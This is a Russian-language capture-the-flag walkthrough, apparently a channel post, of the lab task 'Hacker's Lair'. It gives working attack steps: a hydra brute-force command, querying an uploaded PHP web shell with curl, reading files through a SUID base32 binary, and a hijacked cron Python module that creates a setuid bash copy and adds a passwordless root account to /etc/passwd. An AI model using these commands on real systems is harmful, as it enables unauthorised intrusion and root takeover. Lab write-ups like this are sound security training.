День 21. Таск "Логово хакера"
Таск: Добро пожаловать в Логово хакера – здесь реальность встречается с виртуальным миром
Шаг 1: Разведка — Ищем входную дверь
Данный код не является ошибкой - это настройки отображения ошибок в PHP. Давайте разберем по частям:
// Включает вывод ошибок в браузер
ini_set('display_errors', '1');
// Включает вывод ошибок, возникающих при запуске PHP
ini_set('display_startup_errors', '1');
// Включает отчетность обо ВСЕХ типах ошибок
error_reporting(E_ALL);
Шаг 2: Взлом авторизации — Брутфорс пароля
http://192.168.2.210:8000/login.php?source
🎯 Критическая находка - Уязвимость сравнения хешей!
if ($username == $admin_username && hash('sha224', $password) == $admin_password) {
Проблема: Используется нестрогое сравнение == вместо ===
Уязвимость: Type Juggling Attack (атака на приведение типов) - а значит когда логин будет равен admin, а пароль равен "0" - будет успешная авторизация.
3)Атака
Запускаем перебор через hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.210 -s 8000 http-post-form "/login.php:username=^USER^&password=^PASS^:F=invalid" -vV -f
Шаг 3: Загрузка веб-шелла — Получаем RCE
Получаем доступ к http://192.168.2.210:8000/index.php
Залогинившись, видим форму загрузки файлов. Заливаем простой PHP-шелл:
Файл сохраняется в /uploads/shell-BC088852.php. Проверяем доступ:
curl "http://192.168.2.210:8000/uploads/shell-BC088852.php?c=whoami"
Результат: www-data — мы внутри!
Шаг 4: Эскалация привилегий → thomas
Находка: /usr/bin/base32 с SUID-битом — это подозрительно и опасно!
Используем его для чтения файлов от пользователя thomas:
Результат: CODEBY{Y0U_F0UND_4ND_ — первая часть флага!
Результат: It's a secret no one else can know - rVz8fsL4pV9Y — это пароль от SSH!
Шаг 5: Эскалация привилегий → root
В директории /opt/healthcheck/ видим Python-скрипт, который запускается по крону от root:
#!/usr/bin/env python3
import os
import sys
import shutil
import time
import health2check # Уязвимый импорт!
Уязвимость: Python ищет модуль health2check в текущей директории. Мы можем подсунуть свой модуль!
Создаем /opt/healthcheck/health2check.py:
def check_health():
os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
os.system("echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd")
if __name__ == "__main__":
check_health()
elif __name__ == "health2check":
check_health()
Ждём не более минуты, пока cron не выполнится, и получаем:
Шаг 6: Флаг — Финальный аккорд
В директории /root/ лежит файл last_part:
Результат: BURN3D_D0WN_7H3_L41R}
Полный флаг: CODEBY{Y0U_F0UND_4ND_BURN3D_D0WN_7H3_L41R}
Тут я подумал, ну вот взломали - а как исправить?
Теперь в каждом посте буду писать о том как защитить:
🔧 Рекомендации по защите
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!